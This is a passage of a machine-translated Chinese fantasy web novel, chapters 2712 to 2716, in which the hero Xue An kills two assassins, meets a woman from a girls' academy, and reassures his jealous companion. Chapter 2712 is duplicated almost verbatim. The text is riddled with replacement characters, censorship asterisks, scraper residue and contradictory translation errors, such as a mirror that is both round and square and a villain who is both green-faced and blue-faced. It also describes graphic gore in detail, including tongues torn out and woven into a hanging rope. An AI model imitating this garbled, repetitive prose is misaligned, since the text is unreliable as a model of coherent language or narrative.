    But the lady in the carriage ignored her nagging, but looked at the round mirror in her palm.


    (End of this chapter)

 Chapter 2712： Honey, welcome to my hell...

    Chapter 2712 Dear, welcome to my hell


    Inside the round mirror is the battle scene outside.


    "The Shura Hall and the descendants of the White Bone Great Sage appeared at the same time, and they were also grouped together. Is this a coincidence or......" The woman whispered.


    At this moment, the battlefield changed again.


    Xue An, who faced the two masters alone, not only did not have the slightest timidity, but became more and more courageous.


    In the end, the fighting spirit on his body had even turned into a real sword, and he attacked the opponent with Xue An''s punches.


    In contrast, the two people in the Shura Hall became more and more frightened as they fought.


    because they were surprised to find that their strength was being suppressed and weakened as the opponent''s fighting spirit increased.


    If you continue like this, it won''t take long for you to be defeated.


    Under the split, the two people who could not have been united sincerely fell apart in an instant.


    almost coincidentally, they began to draw Xue An''s firepower towards the other side.


    tried to use the opponent''s life to win a chance to escape for himself.


    Because of the difference in strength, the white-faced man was quickly pushed to Xue An by the green-faced man.


    The white-faced man uttered an extremely desperate howl, "Chen Xiaosan, you can''t live if I die!"


    Where can a green-faced man care about this? Nothing can be more important than his own life. As for the so-called fellowship...


    That kind of thing doesn''t exist at all for those who live up to the darkness.


    "Ahhhh, please don''t kill me, I am willing to be your slave..."


    Seeing that the threat failed, the white-faced man turned to Xue An for mercy.


    But Xue An, whose fighting spirit was as fierce as fire, ignored these at all, did not even hesitate at all, and raised his hand with a punch.


    The white-faced man spit out a mouthful of blood, which turned into countless vines, barely blocking the punch.


    But this was just a situation that allowed him to live a moment longer, because at this moment, Xue An��s other punch had already arrived.


    "Ahhhhhhhhhhh..."


    ��!


    With a muffled noise, Xue An''s fist has penetrated the white-faced man''s head.


    The dirty blood mixed with gray brains splashed out, and then the white-faced man fell softly to the ground and died.


    All this is slow to say, but in fact it is extremely fast.


    From the time the blue-faced man pushed the white-faced man forward to death, to the time when Xue An''s two punches resulted in his life, there were only three flashes in total.


    But in such a short period of time, the blue-faced man caught the timing, bypassing Xue An like a snake, and then rushed towards the carriage.


    This green-faced boy is extremely cunning. At this moment, the battlefield is already shrouded by Xue An''s fighting spirit, and he cannot escape wherever he goes.


    The only loophole is this carriage.


    Because this carriage appeared without everyone''s knowledge, it shows that there must be something special about it.


    As for what is special, this blue-faced man has no time to think about it at the moment.


    He just wanted to control the carriage as soon as possible, and then use the people in the carriage as a bargaining chip to make Xue An throw the rat and escape.


    But although his wishful thinking was good, he missed an extremely important point.


    That''s whether the people on this carriage will be caught in their hands!


    As expected.


    When he rushed to the carriage and saw that the curtain could be lifted by just reaching out, there was a cold rant from the carriage.


    "roll!"


    The sound of the scolding was not loud, but it was no less than thunder in the ears of the green-faced man, and he shook him out.


    Not only that, but a small round mirror suddenly appeared on the carriage of the carriage.


    As soon as the square mirror came out, it immediately radiated a thousand rays of light, and a wave of righteousness rose to the sky, protecting the carriage.


    Seeing this scene, the green-faced man was shocked, and then he shouted three words in a tone of infinite despair.


    "The building outside the building!"


    At this point, he finally understood why this carriage could come to this battlefield without knowing it.


    It''s too late to understand.


    Because at this moment, Xue An has already rushed behind him.


    In despair, he had no choice but to look back and fight Xue An together.


    At this time, Xue An has reached the pinnacle in terms of momentum and fighting spirit.


    In contrast, his strength, panicked like a dog in the family, has fallen to the bottom.


    One is going down, but after a few encounters, Xue An blows him out with a punch.


    Not only that, when his figure was still in the air, Xue An��s late hair rushed in front of him first, and then stretched out his hand and grabbed one of his tongue.


    The green-faced man trembled all over, before he had time to react, Xue An put his hands hard.


    ��!


    This tongue was pulled out of Xue An''s mouth like a green onion.


    Stained and blood splattered.


    The blue-faced man let out a miserable cry.


    But it was far from over, I saw Xue An kicked the green-faced man down, then stepped on his neck, grabbed all the tongue in his mouth with both hands, and slammed his arms.


    Puff puff!


    A muffled noise accompanied by splashes of blood made the body of the green-faced man tremble constantly.


    After only a moment, all the tongues in his mouth were pulled out by Xue Ansheng.


    At this time, the green-faced man''s aura was weakened to the extreme, lying on the ground shaking unconsciously.


    And Xue An grasped all the tongues in his hand, moved his fingers together, and quickly woven it into a rope.


    Then Xue An said slowly: "I said before that I would pull out all your tongues, then weave them into a rope and hang you! Now, I did it!"


    The green-faced man trembled, his eyes showed infinite fear and pleading.


    But at this time, he couldn''t even say begging for mercy.


    Xue An knelt down and tied the meat rope in his hand to his neck.


    "Honey, welcome to my hell!"


    The words fell, Xue An''s mouth slowly raised, sketching a mocking smile, and then slammed hard.


    This meat rope woven with his own tongue hangs him alive There is a gurgling noise from his throat, and he struggles hard, trying to break the rope between his neck. .


    But everything was in vain. After only a moment, his struggle gradually slowed down, and in the end he lost his breath and died.


    boom.


    The dead body fell to the ground, agitating the blood.


    Then Xue An raised his head and looked at the carriage.


    The gaze made the little maid hiding behind the car curtain cover her mouth.


    She saw the scene of Xue An killing the two people in the Asura Palace just now.


    The extremely calm brutality actually gives people a strange sense of beauty.


    At least this little maid was completely fascinated by it.


    She didn''t wake up until Xue An''s eyes swept.


    Boom!


    Xue An��s arm burned with flames, burning away the remaining corrosive saliva.


    Immediately afterwards, Xue An took out a top with his backhand and put it on.


    After all this was done, Xue An just bowed his hand.


    "Just now, thank you girl!"


    (End of this chapter)

 Chapter 2712： Honey, welcome to my hell

    Chapter 2712 Dear, welcome to my hell


    Inside the round mirror is the battle scene outside.


    "The Shura Hall and the descendants of the White Bone Great Sage appeared at the same time, and they were also grouped together. Is this a coincidence or..." The woman whispered.


    At this moment, the battlefield changed again.


    Xue An, who faced the two masters alone, not only did not have the slightest timidity, but became more and more courageous.


    In the end, the fighting spirit on his body had even turned into a real sword, and he attacked the opponent with Xue An''s punches.


    In contrast, the two people in the Shura Hall became more and more frightened as they fought.


    because they were surprised to find that their strength was being suppressed and weakened as the opponent''s fighting spirit increased.


    If you continue like this, it won''t take long for you to be defeated.


    Under the split, the two people who could not have been united sincerely fell apart in an instant.


    almost coincidentally, they began to draw Xue An''s firepower towards the other side.


    tried to use the opponent''s life to win a chance to escape for himself.


    Because of the difference in strength, the white-faced man was quickly pushed to Xue An by the green-faced man.


    The white-faced man uttered an extremely desperate howl, "Chen Xiaosan, you can''t live if I die!"


    Where can a green-faced man care about this? Nothing can be more important than his own life. As for the so-called fellowship...


    That kind of thing doesn''t exist at all for those who live up to the darkness.


    "Ahhhh, please don''t kill me, I am willing to be your slave..."


    Seeing that the threat failed, the white-faced man turned to Xue An for mercy.


    But Xue An, whose fighting spirit was as fierce as fire, ignored these at all, did not even hesitate at all, and raised his hand with a punch.


    The white-faced man spit out a mouthful of blood, which turned into countless vines, barely blocking the punch.


    But this was just a situation that allowed him to live a moment longer, because at this moment, Xue An��s other punch had already arrived.


    "Ah ah ah no..."


    ��!


    With a muffled noise, Xue An''s fist has penetrated the white-faced man''s head.


    The dirty blood mixed with gray brains splashed out, and then the white-faced man fell softly to the ground and died.


    All this is slow to say, but in fact it is extremely fast.


    From the time the blue-faced man pushed the white-faced man forward to death, to the time when Xue An''s two punches resulted in his life, there were only three flashes in total.


    But in such a short period of time, the blue-faced man caught the timing, bypassing Xue An like a snake, and then rushed towards the carriage.


    This green-faced boy is extremely cunning. At this moment, the battlefield is already shrouded by Xue An''s fighting spirit, and he cannot escape wherever he goes.


    The only loophole is this carriage.


    Because this carriage appeared without everyone''s knowledge, it shows that there must be something special about it.


    As for what is special, this blue-faced man has no time to think about it at the moment.


    He just wanted to control the carriage as soon as possible, and then use the people in the carriage as a bargaining chip to make Xue An throw the rat and escape.


    But although his wishful thinking was good, he missed an extremely important point.


    That''s whether the people on this carriage will be caught in their hands!


    As expected.


    When he rushed to the carriage and saw that the curtain could be lifted by just reaching out, there was a cold rant from the carriage.


    "roll!"


    The sound of the scolding was not loud, but it was no less than thunder in the ears of the green-faced man, and he shook him out.


    Not only that, but a small round mirror suddenly appeared on the carriage of the carriage.


    As soon as the square mirror came out, it immediately radiated a thousand rays of light, and a wave of righteousness rose to the sky, protecting the carriage.


    Seeing this scene, the green-faced man was shocked, and then he shouted three words in a tone of infinite despair.


    "The building outside the building!"


    At this point, he finally understood why this carriage could come to this battlefield without knowing it.


    It''s too late to understand.


    Because at this moment, Xue An has already rushed behind him.


    In despair, he had no choice but to look back and fight Xue An together.


    At this time, Xue An has reached the pinnacle in terms of momentum and fighting spirit.


    In contrast, his strength, panicked like a dog in the family, has fallen to the bottom.


    One is going down, but after a few encounters, Xue An blows him out with a punch.


    Not only that, when his figure was still in the air, Xue An��s late hair rushed in front of him first, and then stretched out his hand and grabbed one of his tongue.


    The green-faced man trembled all over, before he had time to react, Xue An put his hands hard.


    ��!


    This tongue was pulled out of Xue An''s mouth like a green onion.


    Stained and blood splattered.


    The blue-faced man let out a miserable cry.


    But it was far from over, I saw Xue An kicked the green-faced man down, then stepped on his neck, grabbed all the tongue in his mouth with both hands, and slammed his arms.


    Puff puff!


    A muffled noise accompanied by splashes of blood made the body of the green-faced man tremble constantly.


    After only a moment, all the tongues in his mouth were pulled out by Xue Ansheng.


    At this time, the green-faced man''s aura was weakened to the extreme, lying on the ground shaking unconsciously.


    And Xue An grasped all the tongues in his hand, moved his fingers together, and quickly woven it into a rope.


    Then Xue An said slowly: "I said before that I would pull out all your tongues, then weave them into a rope and hang you! Now, I did it!"


    The green-faced man trembled, his eyes showed infinite fear and pleading.


    But at this time, he couldn''t even say begging for mercy.


    Xue An knelt down and tied the meat rope in his hand to his neck.


    "Honey, welcome to my hell!"


    The words fell, Xue An''s mouth slowly raised, sketching a mocking smile, and then slammed hard.


    This meat rope woven with his own tongue hangs him alive. UU reading


    There was a gurgling noise from his throat, and he struggled hard, trying to break the rope between his neck.


    But everything was in vain. After only a moment, his struggle gradually slowed down, and in the end he lost his breath and died.


    boom.


    The dead body fell to the ground, agitating the blood.


    Then Xue An raised his head and looked at the carriage.


    The gaze made the little maid hiding behind the car curtain cover her mouth.


    She saw the scene of Xue An killing the two people in the Asura Palace just now.


    The extremely calm brutality actually gives people a strange sense of beauty.


    At least this little maid was completely fascinated by it.


    She didn''t wake up until Xue An''s eyes swept.


    Boom!


    Xue An��s arm burned with flames, burning away the remaining corrosive saliva.


    Immediately afterwards, Xue An took out a top with his backhand and put it on.


    After all this was done, Xue An just bowed his hand.


    "Just now, thank you girl!"


    (End of this chapter)

 Chapter 2713： Mirror in the mirror outside the building

    Chapter 2713 the mirror in the mirror outside the building


    There was a moment of silence in the carriage, and then a calm female voice came.


    "The son is polite, if it wasn''t for your righteous action just now, I might have been injured by the evil thing now."


    Xue An smiled, "The girl is too modest, and with the power of the small round mirror just now, it is more than enough to kill the two people in the Shura Palace in a second, and I can''t use me to shoot."


    "Then thank you son for your righteous shot!"


    "No, no, no, I want to thank the girl for helping me stop this guy!"


    As soon as the voice fell, I heard someone in the carriage screaming, and then the little maid poked her head out and laughed.


    "The two of you guys and girls are endlessly thanking you, don''t you know to ask each other''s names?"


    Xue An blushed once, because he also felt that the appearance just now was a bit silly.


    So he condensed his breath and said in a serious tone: "My next name is Xue An, dare you ask the girl''s name?"


    There was another moment of silence in the carriage, and then the person inside said softly, "Yun Lingxuan!"


    "It turns out to be Miss Yun, please forgive me for taking the liberty of it. May I ask what magical artifact the small round mirror was just now?"


    "Oh, that is a treasure that I carry with me!"


    "Can you let me take a look down?" Xue An asked.


    "Can!"


    Following the voice, a white light flew out of it, and then the small round mirror was suspended in front of Xue An.


    Xue An solemnly reached out his hand to take it, and after carefully examining it for a moment, a very complicated look appeared on his face, and then let go.


    "Thank you girl!"


    Yuan Jing did not return to the carriage, but hovered in front of Xue An, and then Yun Lingxuan''s voice came.


    "Does the son recognize this thing?"


    "I can recognize it, but this is obviously not the original thing, but a fragment taken from a certain ancient mirror and then refined." Xue An said in a deep voice.


    Upon hearing this, the carriage trembled first, and then a rustling sound came from it.


    Soon, the curtain of the car opened, and a woman dressed in white clouds quickly walked down.


    How to describe the beauty of this woman in words!


    Let''s put it this way, Xue An has seen countless beauties in these three thousand years of practice, but no matter how she ranks, this woman can be firmly in the top five.


    The extremely exquisite facial features, coupled with the curling Tingting figure, look like a fairy in a dream.


    At this moment, a touch of anxiety appeared on this overly beautiful face.


    "Xue Gongzi, do you really recognize this thing? Then do you know its origin?"


    Xue An shook his head, "Sorry, I can only see this. As for where the ancient mirror came from, I don''t know!"


    Yun Lingxuan looked disappointed when she heard the words, and then the small round mirror flew back into her palm.


    "Actually, I have been exploring the origin of this small round mirror for these years, but after several efforts, I still found nothing, so I was so excited after hearing that Xue Gongzi actually recognized this thing."


    After ���� finished speaking, she bowed a bow, and then turned to leave with a sad face.


    At this moment, Xue An whispered: "Miss Yun, please stay. I have another question to ask you!"


    "Please say!"


    "But I don''t know who made this little round mirror? Why is there such a powerful and righteous spirit?"


    Yun Lingxuan smiled lightly, "It seems that Young Master Xue really doesn''t know where I came from, I was born outside the building!"


    "The building outside the building?" Xue An raised his eyebrows slightly.


    This is the second time he has heard this name.


    The green-faced man who died just now called out this name after seeing the small round mirror.


    "That''s right!" Yun Lingxuan nodded slightly, she seemed to see the confusion on Xue An''s face, and she added.


    "To be precise, it is a girls'' college!"


    Next, Yun Lingxuan briefly introduced the outer building.


    As mentioned above, the world is prosperous in style and there are many academies.


    But even in the academies that are all over the place, the building outside the building is considered a maverick existence.


    This is not only because it is a girls�� college.


    After all, although colleges that specialize in girls are scarce, they are not without them.


    But unlike those academies that specialize in cultivating wealthy and wealthy women, this building only accepts orphans who are poor and humble.


    After entering the door, the building outside the building will be trained according to everyone''s talents and aptitudes.


    Until you reach adulthood, everything is free.


    then let you go and stay.


    But most of the women will choose to stay, because for them, the outer building is no longer a simple college, but their own home.


    Speaking of this, Yun Lingxuan suddenly smiled, "And I happen to be one of the housekeepers in this building. This small round mirror is the thing in the building. It has experienced the sacrifices of the sages of the past and is naturally full of righteousness. ."


    Hearing this, Xue An couldn''t help but stand in awe, not only because of Yun Lingxuan''s identity, but more importantly because of the philosophy pursued by this building.


    The four words "There is no kind of education" are easy to say, but it is very difficult to implement it.


    Especially in the outer building of this building, the rescuers are also women who are deeply mired in the mud.


    This is even more rare.


    "That''s it, that''s disrespectful!"


    In any case, this Yun Lingxuan was enough to win Xue An''s respect based on the aura of righteousness just now.


    Yun Lingxuan smiled and shook her head, "Master Xue is polite!"


    Speaking of this, she didn''t seem to want to talk more about these things, and looked down at the corpse on the ground.


    "But I don''t know how a character like Xue Gongzi could provoke an evil existence like the Asura Hall?"


    Xue An didn��t conceal it, and smiled freely: ��It��s just an accident, when they were about to attack an unarmed person. UU reading happened to see it, so I just took care of it. As a result, these guys. Put it on like a dog skin plaster."


    Yun Lingxuan nodded, "Young Master Xue is best to be careful. Although the strength of this Asura Palace is not too strong, it is despicable and hidden in the dark, so beware."


    Xue An nodded.


    Yun Lingxuan took a deep look at Xue An, "In that case, the little girl resigned!"


    After that, Yun Lingxuan turned and wanted to leave.


    Xue An suddenly said: "Ms. Yun is going to participate in the literary meeting?"


    Yun Lingxuan was startled, and then she looked back and smiled, "It turns out that Young Master Xue also knows about this literary meeting, yes, thanks to the invitation of General Ling''an, I am going to participate in this literary meeting!"


    Xue An also smiled, "Then I wish the girl a smooth journey!"


    Yun Lingxuan didn''t speak any more this time, she just nodded slightly, and then under the service of the little maid, she picked up the skirt and got into the carriage.


    Da da da!


    The carriage moved slowly.


    Xue An turned sideways to the side of the road. When the carriage passed by him, the little maid��s head suddenly protruded from the curtain, and then squeezed his eyes at Xue An.


    "Hi, tattoo master, can you go to this literary meeting?"


    (End of this chapter)

 Chapter 2714： Tattoo boy mists up

    Chapter 2714 the tattoo master is misty


    "Tuan''er, don''t be rude!" A scolding came from inside the carriage.


    The little girl called Tuan''er stuck out her tongue, and then retracted into the carriage.


    Xue An smiled without saying a word, watching the carriage leave.


    Until its back completely disappeared into the night, the smile on Xue An''s face gradually converged, replaced by a solemn and solemn color.


    The small round mirror, which was originally a fragment of an ancient mirror. Outside the building, there are very beautiful housekeepers.......


    These kinds of images are mixed together to form an unspeakable weird atmosphere.


    More importantly, Xue An saw more from Yun Lingxuan''s body.


    After a while, he sighed slightly, then looked down at the two dead bodies on the ground.


    At this moment, the blood on the corpse has long been solidified, and the barrier has disappeared as Xue An''s fighting will converge.


    But because the street is remote and late at night, it was not discovered by anyone.


    Xue An didn''t clean up the mess, just glanced at the darkness in the distance, then turned into a shock and disappeared.


    At the same time, on the far away carriage, the little servant girl was talking about something.


    "Miss, I think this tattoo guy is pretty good and looks pretty. Although he is not strong, he is pretty good. The key is to know the etiquette very well. Such a person will definitely treat you well in the future. , Would you like to try?"


    The inside of the curtain remained silent.


    Tuan''er sighed, "Miss, it''s not that I said you, you really need to change your temper, you are so cold and cold, and how nice people are to be scared away by you..."


    Before the voice fell, there was a soft drink from the carriage, "Stop talking, I have no idea, no matter how hard it is to change!"


    Tuan''er''s expression became stiff, and she dared not speak anymore, but a full of distress appeared in her eyes.


    While in the carriage, this Yun Lingxuan silently rubbed the small round mirror in her hand, with a complex expression on her face.


    At the same time, on the empty street, a dresser was walking here slantingly.


    As he walked, he kept mumbling.


    "It''s really bad luck, why I was assigned to this ghost place, I can''t even see my personal image, let alone make some extra money!"


    "I really envy the people who are assigned to Anle Street, tusk! That place is full of Hualou Chu Hall, and the more it gets busier when you get there, you can not only get more rewards, but also a feast for your eyes. Those girls, how do they look like me..."


    Before he finished speaking, the watchman fell to the ground, and even threw out the lantern in his hand.


    "Oh, but I fell to death, damn, I didn''t sleep at night, drunk and ran down in the middle of the road?"


    The groom was swearing, thinking that it was a drunk who was lying on the ground.


    can wait for him to pick up the lantern on the ground, light it up and take a closer look, can''t help being scared to death.


    Because it was just under the background of the light, where there was a drunkard lying on the ground, it was clearly two dead bodies.


    One of them had no head, the other was tied with a rope around his neck, and the old man��s tongue was sticking out, obviously he was hanged alive.


    In this remote street, under such a bleak night, suddenly two such tragic dead bodies appeared.


    How can ordinary people stand this picture?


    At least the watchman was stupid in place, and it was only a moment later that he opened his mouth and wanted to shout.


    But at this moment, a hand suddenly stretched out from the darkness behind him, just covering the mouth of the dresser.


    The hand was cold and bitter, and the dresser''s eyes widened in an instant, then he rolled his eyes and fainted.


    The man slowly put the guard down to the ground, and then walked out of the darkness.


    Under the light of the lantern, it was the man in the theater who had talked with Ren Ning.


    I saw him look solemnly at this tragic battlefield, then took a deep breath, reached out and lifted the two dead bodies on the ground, and carried them on his shoulders.


    Then he exhaled suddenly, and countless black mist spread out, clinging to the blood on the ground.


    After a while, the black mist receded, and when I looked at the whole street, the ground became clean and there was no trace of blood.


    After all this was done, the man flashed away and disappeared into the darkness.


    After a while, the watchman on the ground woke up leisurely, and then jumped up from the ground in a thunderous manner.


    "Mom, there is a ghost...Huh?"


    The watchman looked at the clean ground with a puzzled face.


    Don''t talk about the dead body, there is not even a trace of blood.


    How is this going?


    Did you make a mistake?


    But I clearly saw two dead bodies lying on the ground, and what happened to the hand that held my neck?


    That kind of coldness can''t be faked at all.


    At this moment, a cold wind blew by, and the watchman shivered violently, then picked up the lantern on the ground and fled in a hurry.


    Since then, this street has been rumored to be haunted.


    Of course, these are all things to follow, so there is no need to say more.


    At the same time, the man carried two corpses and hurried through the night.


    In a moment, the scene came to the street behind the theater.


    At this time, the theater was already closed, and this street was very quiet because of the few people coming.


    The man walked in over the wall and walked through a yard, and finally came to the door of a house, and then opened the door to enter.


    The room is not big, there is only a table by the window with an oil lamp lit on it.


    The flickering fire light made the room very dark.


    The actor man was writing something at his desk at the moment. When he heard the sound of the door, he didn''t even lift his head, let alone speak.


    He didn''t speak, and the man didn''t say a word. He just stood there and waited quietly, carrying two corpses.


    Finally The actor raised his head and slowly put down the pen in his hand.


    "What''s wrong?"


    "The people of Shura Hall, dead!"


    said, the man threw the two corpses on his shoulders to the ground.


    The actor suddenly looked back and just saw the dead body on the ground.


    "The third youngest, the seventh oldest?"


    "Yes, they are the two!"


    "Who did it?"


    "I don''t know, I was resting in the inn, and I suddenly felt like someone called me in my ear, so I went out to check and saw this scene!" The man said with a solemn expression. .


    The actor stepped forward to the two corpses and knelt down to check it carefully.


    The death of these two corpses was terrifying, but the actor didn''t show the slightest disgust, instead he checked extremely carefully.


    After a long time, he slowly stood up and let out a breath.


    "Master! Absolute master."


    "This Bai Lao Qi was first smashed with a punch, and then this man pulled out Qing Lao San''s tongue, weaved it into a rope and hanged him! Nothing else, just relying on such ruthless methods. No ordinary people can do it."


    (End of this chapter)

 Chapter 2715： Puncture menstruation with blood

    The 2715th chapter with blood


    Although he said so, his words were full of approval.


    "Who did that do?" the man frowned.


    The two fell into silence for a moment, and then they looked at each other in unison, and said one person in unison.


    "The boy in white at the theater?"


    The actor nodded, "It should be him. In today''s Ren''an City, there are not many masters who can kill Qing Lao San and Bai Lao Qi in such a straightforward manner. Apart from this young man, no one else is absolutely possible. Go!"


    The man frowned and asked, "But the question is why did he shoot?"


    The actor smiled, "It''s very simple. The people in the Shura Temple always report to me. They sneaked on me in the theater before, but they were stopped by this white-clothed boy. It must be resentful because of this, so I took the initiative to come to the door! "


    The man nodded, "This should be the reason, but these guys never expected that this seemingly weak young man would be so powerful. If the attack was not successful, he was killed by him, and they deserved it."


    The actor did not speak, but turned around and took out a piece of black paper from the table and covered it on Qing Lao San''s cheek.


    Then, he stretched out his **** and hung over the paper, stippling out of thin air, every time he touched a stroke, a gold seal appeared out of thin air on the paper.


    In the blink of an eye, a dragon flying and phoenix dancing appeared on this black paper, an extremely complex talisman seal.


    When the ���� symbolic seal reached a mark, the black paper immediately turned into a thick black mist, and then penetrated into the corpse of the youngest third.


    The youngest third''s body trembled, as if it was about to be scammed.


    At this moment, the actor pointed to the center of Qing Lao San''s eyebrows, and then slowly raised it, and a wisp of black mist dragged out.


    The actor appeared solemnly, "This is all the memories that remained in his mind before he died, I hope there will be the information we want in it!"


    After that, the actor flicked his finger lightly.


    The black mist immediately turned into a black mirror, and a chaotic image appeared in the rear mirror.


    The image was very blurry at the beginning, but it gradually became clear soon.


    is the scene of the youngest three fighting with Xue An before his death.


    When they saw the **** Xue An and the tattoos all over his back, the two in the room screamed together.


    "Bone King!"


    Then the two looked at each other, and both saw the solemn color in each other''s eyes.


    This Bone Saint is an ancient god. It is rumored that he possesses the power to destroy the heavens and the earth. He even fought evenly against those ancient evil creatures. He was attacked only later, but these years, the Bone Saint''s faith has never been. Cut off.


    Looking at the tattoo on Xue An''s body, it is clear that he has obtained the orthodox inheritance of the Great Bone Sage.


    "No wonder he has such a powerful strength at his age!" the man murmured.


    But the next screen that appeared made them even more shocked.


    The carriage that broke in suddenly revealed mystery and weirdness. When the small round mirror appeared, the two shook together.


    "Outer building!"


    Then the actor smiled bitterly, "It should be the oiran Yun Lingxuan. It is estimated that the time should be there, too, but I didn''t expect to face up with the people in the Shura Hall!"


    The next picture was very **** and violent. Xue An wiped out the two of them neatly, and then the picture fell into a cloud of darkness, and then the black mist collapsed.


    The corpse of the youngest third was also shattered together.


    There was silence in the room, only the faint sound of the oil lamp flame flickering.


    After a long time, the man sighed softly.


    "The Great Sage of the Bone, Shura Hall, and the people outside the building have all appeared. This literary meeting is really...lively!"


    The actor slowly said, "No matter who appears, our actions will not change this time, and we can only succeed, not fail!"


    When he said this, the expression on the face of the actor was very complicated, with perseverance and enthusiasm, but it was more of a kind of relief.


    The man also nodded solemnly, "Understood!"


    "Go ahead, leave these two corpses to me!"


    "Yes!"


    The man turned back and dived into the vast night.


    The actor stood there for a while, his thin figure looked very lonely under the light of the oil lamp.


    A moment later, he chuckled lightly, "Master, don��t worry, the two of us will be able to slash the enemy for you soon!"


    When ���� said this, tears flickered in his eyes.


    But he quickly took a deep breath, pressed the tears back, and then stretched out his hand to draw a few times in the air, a flame rune appeared, and the two corpses on the ground were burned to ashes.


    After the flame went out, the actor collected the ashes again and buried it in a flower pot on the windowsill.


    There is a sun flower planted in the flowerpot, which is a very common flower species in the world, but the potted flower grows surprisingly bright and looks like a blooming flame.


    After doing all this, the actor double-checked and confirmed that there was nothing left, before he sat back on his desk.


    The unfinished manuscripts are placed on the desk. The fonts are beautiful and dense, and the color is almost bright red, which is actually a scripture.


    The actor first clasped his palms together religiously to the scriptures, then picked up the writing brush on the table and plunged into his chest without hesitation.


    ��!


    The brush penetrated deep into his chest, but there was no blood spilling, but there was blood flickering.


    The actor''s complexion turned pale at a speed visible to the naked eye, but he didn''t have any painful color, but his eyes became brighter and brighter.


    After a while, he took out the brush after the brush became **** red all over.


    The big hole in his chest is exposed, and the beating heart can even be seen.


    The actor leaned down with a pious face and continued to write the scriptures with the pen in his hand.


    Every bright red font is full of forbearance and anger.


    In a daze, he seems to be back in the past.


    At that time, the master was still by his side, just standing aside like this, staring at himself and studying.


    Whenever she wanted to be lazy, she would stretch out her hand to flick her head, and then smiled.


    "Boy, dare to be careful not to let you eat!"


    Now that I take it seriously, I will never be lazy, but the master will never come back.


    Tears dripped, hitting on the scripture, and a piece of it was wet.


    At the same moment, in an inn, Xue An closed the window facing the street.


    The scream of the watchman just now caused a commotion. Xue An heard all this, but he didn''t care.


    Although he didn''t go to see it, he believed that the corpse in that alley must have disappeared at this moment.


    At this moment, he felt a throbbing inexplicably, couldn''t help but smile, and then let go of the restraint.


    In a short time, An Yan appeared in the room.


    "Yan''er you..."


    (End of this chapter)

 Chapter 2716： An Yan who knocked over the vinegar jar

    Chapter 2716 An Yan Who Overturned The Vinegar Jar


    Before the words fell, An Yan rushed up and bit Xue An''s shoulder viciously.


    But she forgot that Xue Annai was the embodiment of divine consciousness at this moment, and she didn''t feel pain at all.


    So no matter how hard she bites, it''s all in vain.


    But in order to take care of An Yan''s emotions, Xue An tried his best to put on an expression of pain, and then whispered: "Hi...Yan''er, what''s wrong with you? Can you just let go and talk again!"


    "Huh! I don''t, I just want to kill you!" An Yan said vaguely.


    Although she said so, she still let go of her mouth very distressed.


    But in the next second, she saw the narrow smile on Xue An''s face, and then she was deceived.


    "You big villain oooooo..."


    After a long time, An Yan blushed and wiped his mouth, watching Xue An, who was smiling extremely happily on the side, stopped beating.


    "Huh, bad guy, big bad guy, I hate you!" An Yan muttered.


    Xue An stretched out his hand to embrace her waist.


    An Yan wanted to struggle, but at this moment, Xue An approached An Yan''s ear and said softly: "What''s the matter with Yan''er? Why is she so angry with her husband?"


    "You also said, what happened to the girl who just entered the spiritual consciousness space?"


    Xue An blinked, "Isn''t that because of fighting with a strong enemy? In order not to hurt the innocent, I let her temporarily enter the space of spiritual consciousness to hide!"


    "Hmph, you will find a reason, don''t think I don''t know what happened these days, and touch someone''s head intimately. Do you think she is young and beautiful, so you despise me!"


    Speaking of this, An Yan''s eyes are already red.


    Xue An felt very distressed, and hugged An Yan��s shoulders quickly, "Good Yan''er, how could I have that kind of mind? I just can��t get used to it, so I just let it go! Besides, who else is in this world? You can be as young and beautiful as Yan''er!"


    An Yan still pouted, "It''s the same as the truth, who knows what you think in your heart, and this girl is so innocent and cute, so you are tempted!"


    Xue An can��t laugh or cry. Knowing what happened these days has made An Yan feel jealous, so he stretched out his hand and said solemnly.


    "I swear, I never have any double minds. As for why I treat this Ren Ning like this, there is a reason!"


    "What''s the reason?" An Yan looked at Xue An seriously, waiting for his answer.


    Xue An smiled, and then stretched out his hand to squeeze An Yan''s angry face.


    "What a silly girl!"


    An Yan opened Xue An''s hand and said sternly: "Come on, tell me!"


    Xue An smiled, "Yan''er, what do you think of this world?"


    An Yan frowned upon hearing the words, and then hesitated for a while before saying: "It feels like it is not much different from the heavens!"


    Xue An nodded, "Yes, this is how I feel, but this world is real, and I can feel that its laws of heaven are far stronger and stronger than the heavens!"


    An Yan looked puzzled, "Does this have anything to do with what you want to say?"


    "Of course! Yan''er, how did I enter this world?"


    "Because... that Ren Ning''s worship?"


    Xue An smiled, "Yan''er is really smart. That''s right. After I got Xingtian''s inheritance, I actually took on his cause and effect, and Ren Ning''s worship of Xingtian''s incarnation of the Bone King was just right. I have a ray of willpower!"


    "Under the guidance of this willingness, I came to this world smoothly!"


    An Yan still didn''t understand too much, but she didn''t ask a question, but looked at Xue An quietly.


    "In this case, I found my connection with this world is actually very strange!"


    "Strange?"


    "That''s right!" Xue An stood up and walked to the table. On the table were two apples, one large and one small.


    Xue An picked up the big apple, "This is the world we live in now!"


    then put the little apple aside, "This is the heavens!"


    "Just as these evil things enter the heavens from this so-called high-dimensional world will be rejected, so I will be rejected from the heavens when I come to this world from the heavens!"


    "Because relative to the rules here, I am considered an outsider. Under this circumstance, my existence is an intolerable thing for the gods here, but it is strange that..."


    Xue An looked at An Yan seriously, "None of this has happened!"


    An Yan thoughtfully.


    Xue An took a bite of the apple, and then said: "At first I was skeptical, and even thought it was because I abandoned my body and came here as the incarnation of God''s consciousness, but later I found that it was not like that!"


    "The law of heaven in this world is far stronger than the heavens. It cannot be blinded by an incarnation of divine consciousness, so there is only one real reason, and that is from Ren Ning!"


    Xue An discarded the core, "Xingtian��s incarnation, that is, the great sage of bones, has actually been dead for a long time, but the faith is still there, and there are still many people worshiping for so many years. In this case, there is nowhere to go. , So it was scattered between the world!"


    "At this moment, Ren Ning��s worship in the White Bone Temple dragged me out of the black hole. Because of the aspiration contaminated, the law of heaven believed that I was the incarnation of these aspirations, and wished The power to become a **** is the law that prevails in the high and low dimensions, so this heavenly law has been perfectly concealed!"


    An Yan has already figured out the key, "In other words, Ren Ning is your cause and effect in this world?"


    Xue An shook his head, "It is not cause and effect, but protection for me. Because of her existence, the law of heaven will default to me as the incarnation of willing force, and if she is gone..."


    "After knowing the truth, no one knows what the law of heaven will do when you become irritated! Although I am not afraid of it, it will also bring great trouble to my actions. In this case, of course I have to Protect this Ren Ning." Xue An said lightly.


    So far An Yan finally understands everything, and can''t help but feel ashamed of her previous thoughts.


    "Yes... I''m sorry husband, I blamed you!"


